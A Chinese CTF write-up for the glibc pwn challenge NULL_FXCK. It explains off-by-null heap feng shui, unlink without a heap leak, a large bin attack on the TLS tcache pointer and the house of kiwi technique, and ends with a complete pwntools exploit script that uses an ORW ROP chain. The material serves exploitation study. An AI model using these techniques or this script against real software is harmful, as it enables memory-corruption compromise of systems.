从PWN题NULL_FXCK中学到的glibc知识

VSole2022-07-30 16:30:44

这题的风水堪称一绝,然后涉及的利用也非常新颖——house of kiwi在一年前来说可以说非常新鲜了,在今天衍生出的emma也是高版本主流的打法。

版本:

沙箱:

发现禁了execve,那就只能orw了。

保护:

ida

相信都开始研究这道题的各位师傅逆向都没有问题,就截一截ida里面比较重要的几个东西:

(1)add的截断:

 

虽然从bin中拿出chunk的指针没有被初始化,但是这个截断使得我们不能直接泄露libc和堆地址了。

(2)free禁止了UAF(这个就没必要截了)

(3)edit只能执行一次并且存在off_by_null:

思路

这里的思路其实有点公式化的味道,就和我们做数学题一样,都是通过题目给的条件来思考利用的手法

给了off_by_null就思考会用到堆块的合并导致的重叠。重叠带来的好处:

(1)通过切割堆块能使我们在合并的堆块内部任意地址写main_arena,这个任意地址可能是note数组的一个堆指针的fd,那么我们就可以泄露libc了

(2)合并的时候的unlink能使得我们在已知堆块的fd和bk上写一个堆地址,这样就可以弥补一开始的截断带来的不能泄露堆块,然后成功泄露出堆块了

堆风水泄露libc和堆地址。

为了达成思路(1)(2)的libc和heap的泄露,需要一个非常细致的堆的布局,首先说说几个可能遇到的问题:

(1)合并的时候对堆的fd和bk的检测:

free(P)的时候,如果P不是tcache或者fastbin大小的话,就会检测P的前一个堆块(低地址)和后一个堆块(高地址)的使用情况(即它们的后一个堆块的PREV_INSURE位),如果也是free,就会考虑合并。合并的时候,会检测除P外的另一个堆块的fd和bk指针:

记另一个堆块为Nfwd=N->fd;bck=N->bk;if(fwd->bk != N || bck->fd !=N) exit(-1);fwd->bk=bck;bck->fd=fwd;

上面的代码大致表示了unlink的过程。

之前做过的unlink都是已知了堆地址,然后unlink环节将fd和bk全都设置为N自身,达到绕过检测的目的。

这题比较厉害的地方就是,在不知道堆地址的情况下实现的unlink:

(1)首先通过将堆块放入unsorted bin(下面简称ub)将一个堆块的fd和bk分别写上不同的堆地址:

先add(0~6)然后delet(0,3,5),堆的布局如下图:

发现堆块3就是一个bk和fd都有堆指针的堆块了,后续考虑一个堆块向上与3合并。那么我们就要先修改3的size,如何修改呢?

delet(2)导致2和3在ub里发生合并,重新申请一个大小大于2的堆块就能修改3的size了。我们直接将3的size设置的很大,使得3的next_chunk指向top_chunk,因为考虑新生成堆块7并且edit(6)进行off_by_null修改7的pre_size和size的PREV_INSURE,这样delet堆块7就能向上和3合并了

但我们发现,合并的时候会报错,这是因为我们没有绕过unlink里面的检查,也就是没有成功设置好5和0的fd和bk。

我们发现,切割2和3合并的堆块会有一个剩下的堆块我们记作L。L的地址和3离得很近,可能就是低两位不同。如果,3的低两位是'\x00',我们就通过将L和0放入unsorted bin 设置bk指针。

把L和5放入large bin设置fd指针(放入ub的话取出的时候目标堆块的fd指针会变),在申请0和5的时候,触发add中的截断,就能够在fd或bk上设置好3的地址,绕过unlink的检查完成合并。

合并好后,我们就可以通过切割堆块,在4的fd指针上布局main_arena。不过一开始的main_arena应该是以'\x00'结尾的,还是不能泄露。通过add一个大堆块放入largebin就好了,这样show(4)就能够泄露libc了。

同时unlink也会使得0的bk指针为5,5的fd指针为0,show其中任何一个都能泄露堆块。

house of kiwi

发现这题中的exit被换成了_exit,而_exit是不会存在house of pig里面的那条链子的,它直接就是一个exit的系统调用然后程序就结束了,所以任何打exit的链子都不能直接拿来用。遇到这种问题,有的师傅就开辟了一条名为house of kiwi的链子。

主要是打__malloc_assert断言,有一个位于_IO_file_jumps+0x60的稳定的跳转指针sync和稳定的rdx——_IO_helper_jumps,而且这两个地方在gdb里都是有符号表的(比banana好找多了2333):

那么我们通过两次任意地址写就行了?非也。因为还需要触发assert

如何触发assert?看看malloc.c的源码,ctrl f输入"assert",发现有80多个

这里介绍其中一种做法:

当top_chunk的大小不够分配时,则会进入sysmalloc中:

......assert ((old_top == initial_top (av) && old_size == 0) ||        ((unsigned long) (old_size) >= MINSIZE &&         prev_inuse (old_top) &&         ((unsigned long) old_end & (pagesize - 1)) == 0));......

发现很多检测,我们注意到对topchunk的prev_inuse的检测,只要把topchunk的size位的prev_inuse置为0,申请一个比它大的堆块就可以触发了。

我们发现,至少需要改三个地址,也就是执行三次任意地址写。从这道题的严苛条件,不能用tcache poison等简单手法。

TLS段tcache struct attack

我们都知道,malloc_init会在heapbase段开设一个内存用于管理tcache。而这个管理tcache的地址,是可以从heapbase被我们劫持到另一个地方的,这是因为实际寻找的时候,是找到TLS段的管理tcache的地址,只不过malloc_init函数预设成了heapbase+0x10而已(注意,是heapbase+0x10而不是heapbase),我们可以在gdb中找到这段区域:

通过largebin attack劫持这段为可控堆块,在上面布置任何我们想写的东西,malloc对应位置size大小就能够申请出来并且改写了(这里的偏移要调一调,不过也可以拿exp的模板直接来用,也就是)

通过改稳定的跳表sync为setcontext+61(因为setcontext会将[rdx+0xa0]设置为rsp,将[rdx+0xa8]设置为rip),将稳定的rdx _IO_helper_jumps设置为_IO_helper_jumps+0xa0为存orw链,+0xa8为ret指令,并改top_chunk的size,然后申请一个比它的size大的堆块触发assert就可get_shell了

总结

这道题考察了高版本的off_by_null,large bin attack,house of kiwi , TLS attack。虽然很折磨,但是是不可否认的好题,能让第二次接触2.31以上版本的我学到不少东西。

exp

from pwn import *from hashlib import sha256import base64context.log_level='debug'#context.arch = 'amd64'context.arch = 'amd64'context.os = 'linux'def proof_of_work(sh):    sh.recvuntil(" == ")    cipher = sh.recvline().strip().decode("utf8")    proof = mbruteforce(lambda x: sha256((x).encode()).hexdigest() ==  cipher, string.ascii_letters + string.digits, length=4, method='fixed')    sh.sendlineafter("input your ????>", proof)##r=remote("123.57.69.203",7010)##r=process('./sp1',env={"LD_PRELODA":"./libc-2.27.so"}) ##mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]; def z():    gdb.attach(r) def cho(num):    r.sendafter(">> ",str(num)) def add(size,content='\x00'):    cho(1)    r.sendlineafter("Size: ",str(size))    r.sendafter("Content: ",content) def edit(idx,con):    cho(2)    r.sendlineafter("Index: ",str(idx))    r.sendafter("Content: ",con) def show(idx):    cho(4)    r.sendlineafter("Index: ",str(idx)) def delet(idx):    cho(3)    r.sendlineafter("Index: ",str(idx)) def exp():    global r    global libc    libc=ELF('./libc-2.32.so')    r=process('./main')     ##[+]: fengshui 2 leak    add(0x418) #0    add(0x1f8) #1    add(0x428) #2    add(0x438) #3    add(0x208) #4    add(0x428) #5    add(0x208) #6     delet(0)    delet(3)    delet(5)    delet(2)    ##z()    add(0x440,0x428*'a'+p64(0xc91)) #0     add(0x418) #3 0x2b0    add(0x418) #2    add(0x428) #5 0x370    ##z()    delet(3)    delet(2)    ##z()    add(0x418,'a'*9) #2    add(0x418) #3    delet(3)    delet(5)    add(0x9f8) #3    ##z()    add(0x428,'a') #5    edit(6,0x200*'a'+p64(0xc90)+'\x00')    add(0x418) #7    ##z()    add(0x208) #8    ##z()    delet(3)    add(0x430,flat(0,0,0,p64(0x421))) #3    add(0x1600) #9    ##z()    show(4)    libcbase=u64(r.recv(6).ljust(8,'\x00'))-0x1e4230    log.success('libcbase:'+hex(libcbase))    show(5)    heap=u64(r.recv(6).ljust(8,'\x00'))-0x2b0    log.success('heap:'+hex(heap))     ##[+]: set libc func    IO_file_jumps=0x1e54c0+libcbase    IO_helper_jumps=0x1e48c0+libcbase    setcontext=libcbase+libc.sym['setcontext']    open_addr=libcbase+libc.sym['open']    read_addr=libcbase+libc.sym['read']    puts_addr=libcbase+libc.sym['puts']    pop_rdi_ret=libcbase+0x2858f    pop_rsi_ret=libcbase+0x2ac3f    pop_rdx_pop_rbx_ret=libcbase+0x1597d6    ret=libcbase+0x26699    ##[+]: large bin attack to reset TLS    ##z()    ##edit(4,p64(libcbase+0x1e4230)+)     ##[+]: orw    target=heap+0x8e0    flag_addr = heap + 0x8e0 + 0x100    chain = flat(    pop_rdi_ret , flag_addr , pop_rsi_ret , 0 , open_addr,    pop_rdi_ret , 3 , pop_rsi_ret , flag_addr , pop_rdx_pop_rbx_ret , 0x100 , 0 , read_addr,    pop_rdi_ret , flag_addr , puts_addr    ).ljust(0x100,'\x00') + 'flag\x00'     TLS=libcbase-0x2908    add(0x1240,0x208*'a'+p64(0x431)+0x428*'a'+p64(0x211)+0x208*'a'+p64(0xa01))    delet(0)    add(0x440,chain)    ##z()    add(0x418) #11    add(0x208) #12    delet(5)    delet(4)    add(0x1240,0x208*'a'+p64(0x431)+p64(libcbase+0x1e3ff0)*2+p64(heap+0x1350)+p64(TLS-0x20))#4    delet(11)    ##z()    add(0x500)    ##z()    add(0x410)    delet(4)    add(0x1240,0x208*'a'+p64(0x431)+p64(libcbase+0x1e3ff0)*2+p64(heap+0x1350)*2)    pd='\x01'*0x70    pd=pd.ljust(0xe8,'\x00')+p64(IO_file_jumps+0x60)    pd=pd.ljust(0x168,'\x00')+p64(IO_helper_jumps+0xa0)+p64(heap+0x46f0)    add(0x420,pd) #13    add(0x100,p64(setcontext+61))    add(0x200,p64(target)+p64(ret))    add(0x210,p64(0)+p64(0x910))    z()    add(0x1000)    ##z()    r.recvuntil('flag')    string=r.recvuntil('}')    flag='flag'+string    print(flag)    show(5)    r.interactive() if __name__ == '__main__':    exp()     ##setcontext and orw    ''''    orw=p64(r4)+p64(2)+p64(r1)+p64(free_hook+0x28)+p64(syscall)    orw+=p64(r4)+p64(0)+p64(r1)+p64(3)+p64(r2)+p64(mem)+p64(r3)+p64(0x20)+p64(0)+p64(syscall)    orw+=p64(r4)+p64(1)+p64(r1)+p64(1)+p64(r2)+p64(mem)+p64(r3)+p64(0x20)+p64(0)+p64(syscall)    orw+=p64(0xdeadbeef)    pd=p64(gold_key)+p64(free_hook)    pd=pd.ljust(0x20,'\x00')+p64(setcontext+61)+'./flag\x00'    pd=pd.ljust(0xa0,'\x00')+p64(free_hook+0xb0)+orw    r.sendafter(">>",pd)    flag=r.recvline()    ''
glibcfd
本作品采用《CC 协议》,转载必须注明作者和本文链接
终于抽出时间对glibc动态内存管理部分源码进行初略的探究,试着从源码和动调来分析free函数执行过程和一些pwn的攻击技巧,分析的不是很全面,有错误的地方望提出指正,共同进步。
前言本文主要着眼于glibc下的一些漏洞及利用技巧和IO调用链,由浅入深,分为 “基础堆利用漏洞及基本IO攻击” 与 “高版本glibc下的利用” 两部分来进行讲解,前者主要包括了一些glibc相关的基础知识,以及低版本glibc下常见的漏洞利用方式,后者主要涉及到一些较新的glibc下的IO调用链。
House of Cat5月份偶然发现的一种新型GLIBC中IO利用思路,目前适用于任何版本,命名为House of cat并出在2022强网杯中。但是需要攻击位于TLS的_pointer_chk_guard,并且远程可能需要爆破TLS偏移。并且house of cat在FSOP的情况下也是可行的,只需修改虚表指针的偏移来调用_IO_wfile_seekoff即可。vtable检查在glibc2.24以后加入了对虚函数的检测,在调用虚函数之前首先会检查虚函数地址的合法性。
虽然从bin中拿出chunk的指针没有被初始化,但是这个截断使得我们不能直接泄露libc和堆地址了。
程序分析这里只进行一些简单的分析,其他的博客分析的很详细了。
然而在内核态中,堆内存的分配策略发生了变化。并把这个slab划分为一个个object,并将这些object组成一个单向链表进行管理,这里需要注意slub系统把内存块当成object看待,而不是伙伴系统中的页。本次选择演示的例题是2019-SUCTF的sudrv例题,查看start.sh中的信息可以发现开启了kaslr保护与smep保护。
PWN 堆利用 unlink 学习笔记
有些师傅可能看到这个名字有些陌生,但实际上这已经是一个很早以前就出现的利用方法了,一直适用到最新的 GLIBC 中。
前置知识UAF,异或加密,hook利用版本新增保护介绍2.33版本的glibc不同于以往,对于堆块地址的释放之后,对于同一大小的fastbin以及tcache有效的fd永远只有一个,剩余的bin照旧。对于2.33版本下对于fastbin以及tcache的fd指针会被进行异或操作加密,用来异或的值随堆地址发生改变。
pwnhub 9月公开赛
2021-10-03 17:08:04
pwnhub 9月公开赛
VSole
网络安全专家